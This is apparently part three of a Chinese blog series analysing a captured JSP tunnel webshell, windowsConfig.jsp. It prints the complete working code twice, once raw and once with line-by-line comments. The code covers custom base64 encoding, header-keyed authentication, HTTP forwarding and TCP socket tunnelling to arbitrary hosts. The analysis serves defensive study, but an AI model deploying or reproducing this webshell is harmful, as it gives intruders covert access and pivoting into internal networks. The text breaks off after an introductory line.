从零开始的内存马分析——如何骑马反杀(三)1

简介: 从零开始的内存马分析——如何骑马反杀(三)

第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据库早已沦陷。。。

序言

第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据早已沦陷。。。

windowsConfig.jsp分析

<%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%>
<%!
    private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray();
    public static String b64en(byte[] data) {
        StringBuffer sb = new StringBuffer();
        int len = data.length;
        int i = 0;
        int b1, b2, b3;
        while (i < len) {
            b1 = data[i++] & 0xff;
            if (i == len) {
                sb.append(en[b1 >>> 2]);
                sb.append(en[(b1 & 0x3) << 4]);
                sb.append("==");
                break;
            }
            b2 = data[i++] & 0xff;
            if (i == len) {
                sb.append(en[b1 >>> 2]);
                sb.append(en[((b1 & 0x03) << 4)
                        | ((b2 & 0xf0) >>> 4)]);
                sb.append(en[(b2 & 0x0f) << 2]);
                sb.append("=");
                break;
            }
            b3 = data[i++] & 0xff;
            sb.append(en[b1 >>> 2]);
            sb.append(en[((b1 & 0x03) << 4)
                    | ((b2 & 0xf0) >>> 4)]);
            sb.append(en[((b2 & 0x0f) << 2)
                    | ((b3 & 0xc0) >>> 6)]);
            sb.append(en[b3 & 0x3f]);
        }
        return sb.toString();
    }
    private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1};
    public static byte[] b64de(String str) {
        byte[] data = str.getBytes();
        int len = data.length;
        ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
        int i = 0;
        int b1, b2, b3, b4;
        while (i < len) {
            do {
                b1 = de[data[i++]];
            } while (i < len && b1 == -1);
            if (b1 == -1) {
                break;
            }
            do {
                b2 = de[data[i++]];
            } while (i < len && b2 == -1);
            if (b2 == -1) {
                break;
            }
            buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4)));
            do {
                b3 = data[i++];
                if (b3 == 61) {
                    return buf.toByteArray();
                }
                b3 = de[b3];
            } while (i < len && b3 == -1);
            if (b3 == -1) {
                break;
            }
            buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2)));
            do {
                b4 = data[i++];
                if (b4 == 61) {
                    return buf.toByteArray();
                }
                b4 = de[b4];
            } while (i < len && b4 == -1);
            if (b4 == -1) {
                break;
            }
            buf.write((int) (((b3 & 0x03) << 6) | b4));
        }
        return buf.toByteArray();
    }
    static String headerkey(String str) throws Exception {
        String out = "";
        for (String block: str.split("-")) {
           out += block.substring(0, 1).toUpperCase() + block.substring(1);
           out += "-";
        }
        return out.substring(0, out.length() - 1);
    }
    boolean islocal(String url) throws Exception {
        String ip = (new URL(url)).getHost();
        Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();
        while (nifs.hasMoreElements()) {
            NetworkInterface nif = nifs.nextElement();
            Enumeration<InetAddress> addresses = nif.getInetAddresses();
            while (addresses.hasMoreElements()) {
                InetAddress addr = addresses.nextElement();
                if (addr instanceof Inet4Address)
                    if (addr.getHostAddress().equals(ip))
                        return true;
            }
        }
        return false;
    }
%>
//上面是定义的函数之类
//下面是我们的代码
<%
    String rUrl = request.getHeader("Mueytrthxaatjpsb");
    if (rUrl != null) {
        rUrl = new String(b64de(rUrl));
        if (!islocal(rUrl)){
            response.reset();
            String method = request.getMethod();
            URL u = new URL(rUrl);
            HttpURLConnection conn = (HttpURLConnection) u.openConnection();
            conn.setRequestMethod(method);
            conn.setDoOutput(true);
            // conn.setConnectTimeout(200);
            // conn.setReadTimeout(200);
            Enumeration enu = request.getHeaderNames();
            List<String> keys = Collections.list(enu);
            Collections.reverse(keys);
            for (String key : keys){
                if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){
                    String value=request.getHeader(key);
                    conn.setRequestProperty(headerkey(key), value);
                }
            }
            int i;
            byte[] buffer = new byte[1024];
            if (request.getContentLength() != -1){
                OutputStream output;
                try{
                    output = conn.getOutputStream();
                }catch(Exception e){
                    response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV");
                    return;
                }
                ServletInputStream inputStream = request.getInputStream();
                while ((i = inputStream.read(buffer)) != -1) {
                    output.write(buffer, 0, i);
                }
                output.flush();
                output.close();
            }
            for (String key : conn.getHeaderFields().keySet()) {
                if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){
                    String value = conn.getHeaderField(key);
                    response.setHeader(key, value);
                }
            }
            InputStream hin;
            if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
                hin = conn.getInputStream();
            } else {
                hin = conn.getErrorStream();
                if (hin == null){
                    response.setStatus(200);
                    return;
                }
            }
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            while ((i = hin.read(buffer)) != -1) {
                byte[] data = new byte[i];
                System.arraycopy(buffer, 0, data, 0, i);
                baos.write(data);
            }
            String responseBody = new String(baos.toByteArray());
            response.addHeader("Content-Length", Integer.toString(responseBody.length()));
            response.setStatus(conn.getResponseCode());
            out.write(responseBody);
            out.flush();
            if ( true ) return; // exit
        }
    }
    response.resetBuffer();
    response.setStatus(200);
    String cmd = request.getHeader("Ffydhndmhhl");
    if (cmd != null) {
        String mark = cmd.substring(0,22);
        cmd = cmd.substring(22);
        response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
        if (cmd.compareTo("b5v9XJbF") == 0) {
            try {
                String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|");
                String target = target_ary[0];
                int port = Integer.parseInt(target_ary[1]);
                SocketChannel socketChannel = SocketChannel.open();
                socketChannel.connect(new InetSocketAddress(target, port));
                socketChannel.configureBlocking(false);
                application.setAttribute(mark, socketChannel);
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            } catch (Exception e) {
                response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
            }
        } else if (cmd.compareTo("0FX") == 0) {
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            try{
                socketChannel.socket().close();
            } catch (Exception e) {
            }
            application.removeAttribute(mark);
        } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            try{
                ByteBuffer buf = ByteBuffer.allocate(513);
                int bytesRead = socketChannel.read(buf);
                int maxRead = 524288;
                int readLen = 0;
                while (bytesRead > 0){
                    byte[] data = new byte[bytesRead];
                    System.arraycopy(buf.array(), 0, data, 0, bytesRead);
                    out.write(b64en(data));
                    out.flush();
                    ((java.nio.Buffer)buf).clear();
                    readLen += bytesRead;
                    if (bytesRead < 513 || readLen >= maxRead)
                        break;
                    bytesRead = socketChannel.read(buf);
                }
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            } catch (Exception e) {
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
            }
        } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            try {
                String inputData = "";
                InputStream in = request.getInputStream();
                while ( true ){
                    byte[] buff = new byte[in.available()];
                    if (in.read(buff) == -1)
                        break;
                    inputData += new String(buff);
                }
                byte[] base64 = b64de(inputData);
                ByteBuffer buf = ByteBuffer.allocate(base64.length);
                buf.put(base64);
                buf.flip();
                while(buf.hasRemaining())
                    socketChannel.write(buf);
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            } catch (Exception e) {
                response.setHeader("Die", "QmPrA86mT15");
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
                socketChannel.socket().close();
            }
        }
    } else {
        out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->");
    }
%>

1.1 方法分析

这个马子也是比较精妙的,将一些数据,藏在报文头部,总而言之,整个马,将模仿数据,模仿业务贯穿始终。

b64en 很好理解,本身是一个base64的加密

b64de 则是一个解密

当然,base的表是自己独立的表,也就是所谓的换表加密。

headerkey

static String headerkey(String str) throws Exception {
        String out = "";
        for (String block: str.split("-")) {
           out += block.substring(0, 1).toUpperCase() + block.substring(1);
           out += "-";
        }
        return out.substring(0, out.length() - 1);
    }

根据测试,他将首字母变为大写

islocal

是用了java的网络编程,去判断

boolean islocal(String url) throws Exception {
        String ip = (new URL(url)).getHost();
        // 获得本机的所有网络接口
        Enumeration nifs = NetworkInterface.getNetworkInterfaces();
        while (nifs.hasMoreElements()) {
            NetworkInterface nif = nifs.nextElement();
            // 获得与该网络接口绑定的 IP 地址,一般只有一个
            Enumeration addresses = nif.getInetAddresses();
            while (addresses.hasMoreElements()) {
                InetAddress addr = addresses.nextElement();
                // 只关心 IPv4 地址
                if (addr instanceof Inet4Address)
                    if (addr.getHostAddress().equals(ip))//获取客户端ip,判断是否为代理
                        return true;
            }
        }
        return false;
    }

1.2 内容分析

<%
    String rUrl = request.getHeader("Mueytrthxaatjpsb");
    //获取头部,Mueytrthxaatjpsb 貌似是随机生成的
    if (rUrl != null) {
    //存在的时候,直接base解码
        rUrl = new String(b64de(rUrl));
        if (!islocal(rUrl)){
            response.reset();
            String method = request.getMethod();
            //发送http的一个连接请求,
            URL u = new URL(rUrl);
            HttpURLConnection conn = (HttpURLConnection) u.openConnection();
            conn.setRequestMethod(method);
            conn.setDoOutput(true);
            // conn.setConnectTimeout(200);
            // conn.setReadTimeout(200);
//获取全部头信息
            Enumeration enu = request.getHeaderNames();
            List<String> keys = Collections.list(enu);
            //对list进行反转。1,6,2,10 变为 10,2,6,1
            Collections.reverse(keys);
            for (String key : keys){
            //不考虑大小写进行比较
                if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){
                    String value=request.getHeader(key);
                    conn.setRequestProperty(headerkey(key), value);
                }
            }
            //requestContentLength 获取请求的 body 长度,也就相当于访问到
            int i;
            byte[] buffer = new byte[1024];
            if (request.getContentLength() != -1){
                OutputStream output;
                try{
                    output = conn.getOutputStream();
                }catch(Exception e){
                //在返回头中设置 Die:C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV
                    response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV");
                    return;
                }
                ServletInputStream inputStream = request.getInputStream();
                while ((i = inputStream.read(buffer)) != -1) {
                    output.write(buffer, 0, i);
                }
                output.flush();
                output.close();
            }
            for (String key : conn.getHeaderFields().keySet()) {
                if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){
                    String value = conn.getHeaderField(key);
                    response.setHeader(key, value);
                }
            }
            InputStream hin;
            if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
                hin = conn.getInputStream();
            } else {
                hin = conn.getErrorStream();
                if (hin == null){
                    response.setStatus(200);
                    return;
                }
            }
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            while ((i = hin.read(buffer)) != -1) {
                byte[] data = new byte[i];
                System.arraycopy(buffer, 0, data, 0, i);
                baos.write(data);
            }
            //让content-length 对返回长度进行输出
            String responseBody = new String(baos.toByteArray());
            response.addHeader("Content-Length", Integer.toString(responseBody.length()));
            response.setStatus(conn.getResponseCode());
            out.write(responseBody);
            out.flush();
            if ( true ) return; // exit
        }
    }
    response.resetBuffer();
    response.setStatus(200);
   //cmd 为我们从header中获取的Ffydhndmhhl参数
    String cmd = request.getHeader("Ffydhndmhhl");
    if (cmd != null) {
    //从开始到22个字符串,定义为mark
        String mark = cmd.substring(0,22);
        //去掉前面的22个字符串,定义为cmd
        cmd = cmd.substring(22);
        //response 设置头部 Sbxspawzq,值为CapFLueBCn2ZM
        response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
       //如果我们的cmd 等于b5v9XJbF ,就会进入if中
        if (cmd.compareTo("b5v9XJbF") == 0) {
            try {
            //target的数组就等于 请求中Nopo的值,然后把Nopo的值进行basede解码,并通过| 竖杠,进行分割
                String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|");
                //target 就是我们target数组的第0个
                String target = target_ary[0];
                //端口是target的第1个参数
                int port = Integer.parseInt(target_ary[1]);
                SocketChannel socketChannel = SocketChannel.open();
                socketChannel.connect(new InetSocketAddress(target, port));
                socketChannel.configureBlocking(false);
                //存储到整个应用程序的生命周期之中
                application.setAttribute(mark, socketChannel);
                //设置返回的Sbxspawzq CapFLueBCn2ZM header和值
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            } catch (Exception e) {
            //如果在socketCHannel建立的过程中报错了,那就会回显如下的值
                response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
            }
        }//如果cmd等于0FX 
        else if (cmd.compareTo("0FX") == 0) {
        //获取我们存储在application中的socketChannel
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            //关闭我们打开的socketChannel
            try{
                socketChannel.socket().close();
            } catch (Exception e) {
            }
            //删除我们的application中存储的值
            application.removeAttribute(mark);
        } //如果我们的cmd 等于 TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
        else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
        //如上
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            //从socketChannel中读取数据
            //分配了Buffer。从SocketChannel读取到的数据会放到这个Buffer中。
然后,调用SocketChannel.read(buf)。该方法将数据从SocketChannel 读到Buffer中。
read(buf)方法返回的int值,他会表示读了多少字节进Buffer里。
            try{
                ByteBuffer buf = ByteBuffer.allocate(513);
                int bytesRead = socketChannel.read(buf);
                int maxRead = 524288;
                int readLen = 0;
                while (bytesRead > 0){
                    byte[] data = new byte[bytesRead];
                    //system.arraycopy多字节的一个数组复制
                    System.arraycopy(buf.array(), 0, data, 0, bytesRead);
                    //输出,讲我们的data进行加密
                    out.write(b64en(data));
                    out.flush();
                    ((java.nio.Buffer)buf).clear();
                    readLen += bytesRead;
                    if (bytesRead < 513 || readLen >= maxRead)
                        break;
                    bytesRead = socketChannel.read(buf);
                }
                //返回头部设置Sbxspawzq :CapFLueBCn2ZM
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            } catch (Exception e) {
            //如果读取失败的话,会返回如下
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
            }
            //如果cmd等于CtWP7tBSKiDnysT9hP9pa
        } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
            try {
                String inputData = "";
                InputStream in = request.getInputStream();
                while ( true ){
                //另类的开buff的方式
                    byte[] buff = new byte[in.available()];
                    if (in.read(buff) == -1)
                        break;
                    inputData += new String(buff);
                }
                //针对输入的data进行basede解密
                byte[] base64 = b64de(inputData);
                //bytebuffer的创建
                //这种方法的buf缓冲区存储在堆内存中,内存开销在JVM中,受GC影响,会多拷贝一次,因为java程序收到的数据首先被系统内存所获取,然后再拷贝给JVM
                ByteBuffer buf = ByteBuffer.allocate(base64.length);
                buf.put(base64);
                //flip是非常重要的一个函数,将Buffer从写模式切换到读模式(必须调用这个方法),他就用来切换buffer读写模式的一个函数
                buf.flip();
                //往SocketChannel写数据
                while(buf.hasRemaining())
                    socketChannel.write(buf);
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            } catch (Exception e) {
                response.setHeader("Die", "QmPrA86mT15");
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
                socketChannel.socket().close();
            }
        }
    } else {
        out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->");
    }
%>

这一部分是NIO-08 java SocketChannel

SocketChannel 是连接到 TCP 网络套接字的 Channel,相当于 Java 网络编程中的 Socket。有两种创建 SocketChannel 的方式:

//前两行是开启一个socketChannel
       SocketChannel socketChannel = SocketChannel.open();
       socketChannel.connect(new InetSocketAddress(target, port));
      //将SocketChannel设置为非阻塞的  
       socketChannel.configureBlocking(false);

我们首先做一些前置工作



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